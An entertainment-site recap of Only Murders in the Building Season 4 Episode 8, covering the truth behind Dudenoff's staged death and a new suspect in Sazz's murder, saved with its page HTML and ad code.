<p>Things take a dramatic turn when Mabel shows off a key piece of evidence—Dudenoff’s mechanical shoulder. The group goes up to the Westies and forces them to tell the truth. In an important turn of events—they find out that Dudenoff planned the whole show. The Westies talk about the shocking events of that terrible night: Dudenoff had sent them all invites to a “funeral” and asked them to meet in the basement.</p>
<h2>Truth About Dudenoff’s Death</h2>
<p>Dudenoff tells everyone in the basement that he has a disease that will kill him soon and is afraid that his death will cause his friends to lose their homes. He comes up with a crazy idea: he would take some pills that would kill him, and then the Westies would burn his body, making it look like he had gone to Portugal instead. The fact that Dudenoff tricked the Westies into covering up such a crime shows how complicated friendship and trust can be.</p><div class="code-block code-block-2" style="margin: 8px 0; clear: both;">
<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>
<!-- Otavo TV Auto -->
<ins class="adsbygoogle" style="display: block; height: 280px;" data-ad-client="ca-pub-8058393775546814" data-ad-slot="6330092711" data-ad-format="auto" data-full-width-responsive="true" data-adsbygoogle-status="done"><div id="aswift_2_host" style="border: none; height: 280px; width: 760px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script></div>

<p>As the story goes on, it becomes clear that the Westies did what they did because they loved Dudenoff, not because they were mean. They were forced to do what he wanted—which makes their situation even more tragic. Mabel, Charles, and Oliver decide not to tell anyone about the Westies. Instead, they want to protect the fake family that Dudenoff had made for them.</p>
<h2>Now there is a new suspect.</h2>
<p>Helga drops another bombshell about Sazz Pataki’s death just as the Dudenoff case is coming to a close. She says that Sazz had been talking on a ham radio about many things including her worries about Gleb Stubbins—a dangerous stuntman who had been bothering her. Sazz thought this stuntman might hurt her which brings up pressing questions about his role in her untimely death.</p>
<p>This new information changes the focus of the investigation and calls into question what was thought to be true about Sazz’s death before. Now that the Westies have been found not guilty, the investigation is back on to find out who killed Sazz and why.</p><div class="code-block code-block-2" style="margin: 8px 0; clear: both;">
<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>
<!-- Otavo TV Auto -->
<ins class="adsbygoogle" style="display: block; height: 280px;" data-ad-client="ca-pub-8058393775546814" data-ad-slot="6330092711" data-ad-format="auto" data-full-width-responsive="true" data-adsbygoogle-status="done"><div id="aswift_3_host" style="border: none; height: 280px; width: 760px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script></div>

<p>Things are more important than ever as Episode 8 comes to a close. The ending with Dudenoff’s death adds an emotional heart and brings out themes of loyalty and sacrifice. The Westies, who were once thought to be suspects—are now seen as sad characters who did what they did because they loved their friend. At the same time, the new clues about Sazz’s murder move the story forward and keep fans on the edge of their seats as the season comes to a close.</p>
<p>We still don’t know, who Gleb Stubbins is or what really happened to Sazz after watching the show. The Only Murders team has to find their way through this new area and uncover more secrets on their quest for justice. With only a few episodes left—the tension is obvious and fans can’t wait for the next part of this strange story about —friendship and murder.</p>
<p>Overall Season 4 Episode 8 of <strong><a href="https://otavo.tv/category/hulu/only-murders-in-the-building/">Only Murders in the Building</a></strong> is a turning point in the show. It skillfully weaves together the characters’ ends and goals, making the episode both funny and dramatic. The journey for Mabel, Charles, and Oliver continues, leaving viewers eager for more answers. There are still riddles to solve and new suspects to meet.</p><div class="code-block code-block-2" style="margin: 8px 0; clear: both;">
<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>
<!-- Otavo TV Auto -->
<ins class="adsbygoogle" style="display: block; height: 280px;" data-ad-client="ca-pub-8058393775546814" data-ad-slot="6330092711" data-ad-format="auto" data-full-width-responsive="true" data-adsbygoogle-status="done"><div id="aswift_4_host" style="border: none; height: 280px; width: 760px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script></div>

<p><strong><a title="ONLY MURDERS IN THE BUILDING SEASON 4 FULL CAST" href="https://otavo.tv/only-murders-in-the-building-season-4-full-cast/" target="_self" rel="bookmark follow noopener noreferrer" data-wpel-link="internal">ONLY MURDERS IN THE BUILDING SEASON 4 FULL CAST</a></strong><br>
<strong><a title="Only Murders In The Building Season 4: Is Sazz Dead or Alive?" href="https://otavo.tv/only-murders-in-the-building-season-4-sazz-dead/" target="_self" rel="bookmark follow noopener noreferrer" data-wpel-link="internal">Only Murders In The Building Season 4: Is Sazz Dead or Alive?</a></strong><br>
<strong><a title="Only Murders In The Building Season 4 Episode 1 Recap: “Once Upon a Time in the West”" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-1-recap/" target="_self" rel="bookmark follow noopener noreferrer" data-wpel-link="internal">Only Murders In The Building Season 4 Episode 1 Recap: “Once Upon a Time in the West”</a></strong></p>
<!-- CONTENT END 1 -->
		    </div>

		    <footer>
			    			    
			    <div class="td-post-source-tags">
				    				    <ul class="td-tags td-post-small-box clearfix"><li><span>TAGS</span></li><li><a href="https://otavo.tv/tag/only-murders-in-the-building-dudenoffs-deaths-truth/">Only Murders in the Building Dudenoff's death's truth</a></li><li><a href="https://otavo.tv/tag/only-murders-in-the-building-recap/">Only Murders In The Building Recap</a></li><li><a href="https://otavo.tv/tag/only-murders-in-the-building-s4e8-recap/">Only Murders in the Building s4e8 Recap</a></li><li><a href="https://otavo.tv/tag/only-murders-in-the-building-season-4-episode-8-recap/">Only Murders in the Building Season 4 Episode 8 Recap</a></li><li><a href="https://otavo.tv/tag/only-murders-s4e8-recap/">Only Murders s4e8 Recap</a></li><li><a href="https://otavo.tv/tag/only-murders-season-4-dudenoffs-deaths-truth/">Only Murders Season 4 Dudenoff's death's truth</a></li><li><a href="https://otavo.tv/tag/only-murders-season-4-episode-8-recap/">Only Murders Season 4 Episode 8 Recap</a></li></ul>			    </div>

			    <div class="td-post-sharing-bottom"><div id="td_social_sharing_article_bottom" class="td-post-sharing td-ps-bg td-ps-notext td-post-sharing-style1 "><div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Only+Murders+in+the+Building+Season+4+Episode+8+Recap&amp;url=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F&amp;via=Otavo+TV" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/&amp;media=https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg&amp;description=Only+Murders+in+the+Building+Season+4+Episode+8+Recap" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Only+Murders+in+the+Building+Season+4+Episode+8+Recap %0A%0A https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_bottom" title="More">
                                    <div class="td-social-but-icon"><i class="td-icon-plus td-social-expand-tabs-icon"></i></div>
                                </a></div></div></div>			    <div class="td-block-row td-post-next-prev"><div class="td-block-span6 td-post-prev-post"><div class="td-post-next-prev-content"><span>Previous article</span><a href="https://otavo.tv/ncis-season-22-episode-1-recap/">NCIS Season 22 Episode 1 Recap: Empty Nest</a></div></div><div class="td-next-prev-separator"></div></div>			    <div class="author-box-wrap"><a href="https://otavo.tv/author/naviharldh188/" aria-label="author-photo"><img alt="Teresa Frazer" src="https://otavo.tv/wp-content/uploads/2023/01/cropped-Teresa-Frazer-96x96.jpg" srcset="https://otavo.tv/wp-content/uploads/2023/01/cropped-Teresa-Frazer-192x192.jpg 2x" class="avatar avatar-96 photo" height="96" width="96" decoding="async"></a><div class="desc"><div class="td-author-name vcard author"><span class="fn"><a href="https://otavo.tv/author/naviharldh188/">Teresa Frazer</a></span></div><div class="td-author-url"><a href="https://otavo.tv">https://otavo.tv</a></div><div class="td-author-description">Teresa Frazer is a business graduate with a bias toward words and stories. She is enthralled by history in all of its varied guises, including theatre, podcasts, movies, and television. Teresa enjoys searching the internet for any overlooked jewels she hasn't yet had the pleasure of devouring when she's not re-reading a Stephen King book or re-watching a David Lynch movie. She can also spend hours researching notorious killers and psychopaths. After working in the finance industry for a few years, Teresa discovered her true purpose. She worked as a qualified freelance book reviewer before joining Otavo TV.</div><div class="td-author-social"></div><div class="clearfix"></div></div></div>			    <span class="td-page-meta" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><meta itemprop="name" content="Teresa Frazer"><meta itemprop="url" content="https://otavo.tv/author/naviharldh188/"></span><meta itemprop="datePublished" content="2024-10-15T07:59:52+00:00"><meta itemprop="dateModified" content="2024-10-15T08:01:57+00:00"><meta itemscope="" itemprop="mainEntityOfPage" itemtype="https://schema.org/WebPage" itemid="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/"><span class="td-page-meta" itemprop="publisher" itemscope="" itemtype="https://schema.org/Organization"><span class="td-page-meta" itemprop="logo" itemscope="" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://otavo.tv/wp-content/uploads/2022/09/logo.png"></span><meta itemprop="name" content="Otavo TV"></span><meta itemprop="headline " content="Only Murders in the Building Season 4 Episode 8 Recap"><span class="td-page-meta" itemprop="image" itemscope="" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg"><meta itemprop="width" content="1062"><meta itemprop="height" content="616"></span>		    </footer>

	    </article> <!-- /.post -->

	    <div class="td_block_wrap td_block_related_posts_mob tdi_1 td_with_ajax_pagination td-pb-border-top td_block_template_1"><h4 class="td-related-title">RELATED ARTICLES</h4><div id="tdi_1" class="td_block_inner">

	<div class="td-related-row">

	<div class="td-related-span4">

        <div class="td_module_mob_1 td_module_wrap td-animation-stack ">
            <div class="td-module-thumb"><a href="https://otavo.tv/only-murders-in-the-building-season-4-episode-3-recap/" rel="bookmark" class="td-image-wrap " title="Only Murders in the Building Season 4 Episode 3 Recap"><img width="265" height="198" class="entry-thumb" src="https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-in-the-Building-Season-4-Episode-3-compressed-265x198.jpg" srcset="https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-in-the-Building-Season-4-Episode-3-compressed-265x198.jpg 265w, https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-in-the-Building-Season-4-Episode-3-compressed-485x360.jpg 485w" sizes="(max-width: 265px) 100vw, 265px" alt="" title="Only Murders in the Building Season 4 Episode 3 Recap"></a></div>            <div class="item-details">
                <h3 class="entry-title td-module-title"><a href="https://otavo.tv/only-murders-in-the-building-season-4-episode-3-recap/" rel="bookmark" title="Only Murders in the Building Season 4 Episode 3 Recap">Only Murders in the Building Season 4 Episode 3 Recap</a></h3>
                <div class="td-module-meta-info">
	                                    <span class="td-post-author-name"><a href="https://otavo.tv/author/naviharldh188/">Teresa Frazer</a> <span>-</span> </span>                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-09-10T06:04:47+00:00">September 10, 2024</time></span>                </div>
            </div>

        </div>

        
	</div> <!-- ./td-related-span4 -->

	<div class="td-related-span4">

        <div class="td_module_mob_1 td_module_wrap td-animation-stack ">
            <div class="td-module-thumb"><a href="https://otavo.tv/only-murders-in-the-building-season-4-episode-2-recap/" rel="bookmark" class="td-image-wrap " title="Only Murders in the Building Season 4 Episode 2 Recap: “Tap In”"><img width="265" height="198" class="entry-thumb" src="https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-In-The-Building-4x2-Recap-compressed-1-265x198.jpg" srcset="https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-In-The-Building-4x2-Recap-compressed-1-265x198.jpg 265w, https://otavo.tv/wp-content/uploads/2024/09/Only-Murders-In-The-Building-4x2-Recap-compressed-1-485x360.jpg 485w" sizes="(max-width: 265px) 100vw, 265px" alt="Only Murders In The Building 4x2 Recap" title="Only Murders in the Building Season 4 Episode 2 Recap: “Tap In”"></a></div>            <div class="item-details">
                <h3 class="entry-title td-module-title"><a href="https://otavo.tv/only-murders-in-the-building-season-4-episode-2-recap/" rel="bookmark" title="Only Murders in the Building Season 4 Episode 2 Recap: “Tap In”">Only Murders in the Building Season 4 Episode 2 Recap: “Tap...</a></h3>
                <div class="td-module-meta-info">
	                                    <span class="td-post-author-name"><a href="https://otavo.tv/author/naviharldh188/">Teresa Frazer</a> <span>-</span> </span>                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-09-03T06:34:46+00:00">September 3, 2024</time></span>                </div>
            </div>

        </div>

        
	</div> <!-- ./td-related-span4 -->

	<div class="td-related-span4">

        <div class="td_module_mob_1 td_module_wrap td-animation-stack ">
            <div class="td-module-thumb"><a href="https://otavo.tv/only-murders-in-the-building-season-4-sazz-dead/" rel="bookmark" class="td-image-wrap " title="Only Murders In The Building Season 4: Is Sazz Dead or Alive?"><img width="265" height="198" class="entry-thumb" src="https://otavo.tv/wp-content/uploads/2024/08/Only-Murders-In-The-Building-Sazz-dead-compressed-1-265x198.jpg" srcset="https://otavo.tv/wp-content/uploads/2024/08/Only-Murders-In-The-Building-Sazz-dead-compressed-1-265x198.jpg 265w, https://otavo.tv/wp-content/uploads/2024/08/Only-Murders-In-The-Building-Sazz-dead-compressed-1-485x360.jpg 485w" sizes="(max-width: 265px) 100vw, 265px" alt="Only Murders In The Building Sazz dead" title="Only Murders In The Building Season 4: Is Sazz Dead or Alive?"></a></div>            <div class="item-details">
                <h3 class="entry-title td-module-title"><a href="https://otavo.tv/only-murders-in-the-building-season-4-sazz-dead/" rel="bookmark" title="Only Murders In The Building Season 4: Is Sazz Dead or Alive?">Only Murders In The Building Season 4: Is Sazz Dead or...</a></h3>
                <div class="td-module-meta-info">
	                                    <span class="td-post-author-name"><a href="https://otavo.tv/author/naviharldh188/">Teresa Frazer</a> <span>-</span> </span>                    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-27T07:20:51+00:00">August 27, 2024</time></span>                </div>
            </div>

        </div>

        
	</div> <!-- ./td-related-span4 --></div><!--./row-fluid--></div></div> <!-- ./block -->
	</div>

	
	<div class="comments td-container" id="comments">
        
            <div class="td-comments-title-wrap ">
                <h4 class="block-title"><span></span></h4>
            </div>

                </div> <!-- /.content -->
    <!-- footer AD -->
    <div class="td-a-rec td-a-rec-id-footer_mob "><amp-ad width="100vw" height="320" type="adsense" data-ad-client="ca-pub-8058393775546814" data-ad-slot="9119907587" data-auto-format="mcrspv" data-full-width="">
  <div overflow=""></div>
</amp-ad></div>
    <!-- footer -->
        <div class="td-mobile-footer-wrap">
        <div class="td-container">
            <div class="td-footer-wrap"><aside class="td-footer-logo"><a href="https://otavo.tv/" aria-label="Logo"><img src="https://otavo.tv/wp-content/uploads/2022/09/logo.png" alt="" title="Otavo TV" width="" height=""></a></aside></div><div class="td-footer-wrap"><aside class="td-footer-description"><div class="block-title"><span>ABOUT US</span></div>Otavo TV is a full entertainment site where you can read TV and movie news. Watch official promos &amp; sneak peeks.<div class="footer-email-wrap">Contact us: <a href="mailto:[email protected]">[email protected]</a></div></aside></div>        </div><!-- close td-container -->
    </div><!-- close footer -->
    <!-- sub footer -->
            <div class="td-mobile-sub-footer-wrap">
            <div class="td-container">

                    <div class="td-sub-footer-menu">
                                            </div>

                    <div class="td-sub-footer-copy">
                        © Copyright 2023 - Otavo TV                    </div>

            </div>
        </div>
    
</div><!-- close td-outer-wrap -->

<div class="code-block code-block-1" style="margin: 8px 0; clear: both;">
<div id="HB_Footer_Close_hbagency_space_28656">
 <div id="HB_CLOSE_hbagency_space_28656"></div>
 <div id="HB_OUTER_hbagency_space_28656">
<div id="hbagency_space_28656"></div>
 </div></div>
 
 <div id="HB_Footer_Close_hbagency_space_28658">
 <div id="HB_CLOSE_hbagency_space_28658"></div>
 <div id="HB_OUTER_hbagency_space_28658">
<div id="hbagency_space_28658"></div>
 </div></div>
 
 <div id="HB_Footer_Close_hbagency_space_28659">
 <div id="HB_CLOSE_hbagency_space_28659"></div>
 <div id="HB_OUTER_hbagency_space_28659">
<div id="hbagency_space_28659"></div>
 </div></div>
 
 <div id="hbagency_space_28660_video">
    <div id="hbagency_space_28660"></div>
</div></div>

    <!--
        Theme: Newspaper Mobile Theme by tagDiv 2024
        Version: 12.6.6 (rara)
        Deploy mode: deploy
        
        uid: 670e21b4c7b36
    -->
    		<div id="amp-mobile-version-switcher" hidden="">
			<a rel="" href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/?amp=1">
				Go to mobile version			</a>
		</div>

				<script type="text/javascript" src="https://otavo.tv/wp-content/plugins/td-composer/mobile/js/tagdiv_theme.min.js?ver=12.6.6" id="td-site-js"></script><ins class="adsbygoogle adsbygoogle-noablate" data-adsbygoogle-status="done" style="display: none !important;"><div id="aswift_0_host" style="border: none; height: 0px; width: 0px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="googlefcPresent" style="display: none; width: 0px; height: 0px; border: none; z-index: -1000; left: -1000px; top: -1000px;"></iframe><iframe name="googlefcInactive" src="about:blank" style="display: none; width: 0px; height: 0px; border: none; z-index: -1000; left: -1000px; top: -1000px;"></iframe><iframe name="googlefcLoaded" src="about:blank" style="display: none; width: 0px; height: 0px; border: none; z-index: -1000; left: -1000px; top: -1000px;"></iframe><div id="HB_Footer_Close_hbagency_space_28656"><div id="HB_CLOSE_hbagency_space_28656"></div><div id="HB_OUTER_hbagency_space_28656"><div id="hbagency_space_28656"></div></div></div></body></html>